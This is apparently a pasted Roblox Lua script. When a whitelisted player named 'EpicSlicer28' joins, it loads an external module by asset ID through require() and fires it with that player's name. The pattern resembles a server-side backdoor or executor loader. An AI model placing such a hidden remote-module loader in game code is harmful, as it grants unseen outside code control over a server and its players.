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Jan 24th, 2020
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  1. local allowed = {"EpicSlicer28"}
  2. game.Players.PlayerAdded:Connect (function(player)
  3.     for i, v in pairs (allowed) do
  4.         if player.Name == v then
  5.             require(3146633195):Fire(player.Name)
  6.         end
  7.     end
  8. end)
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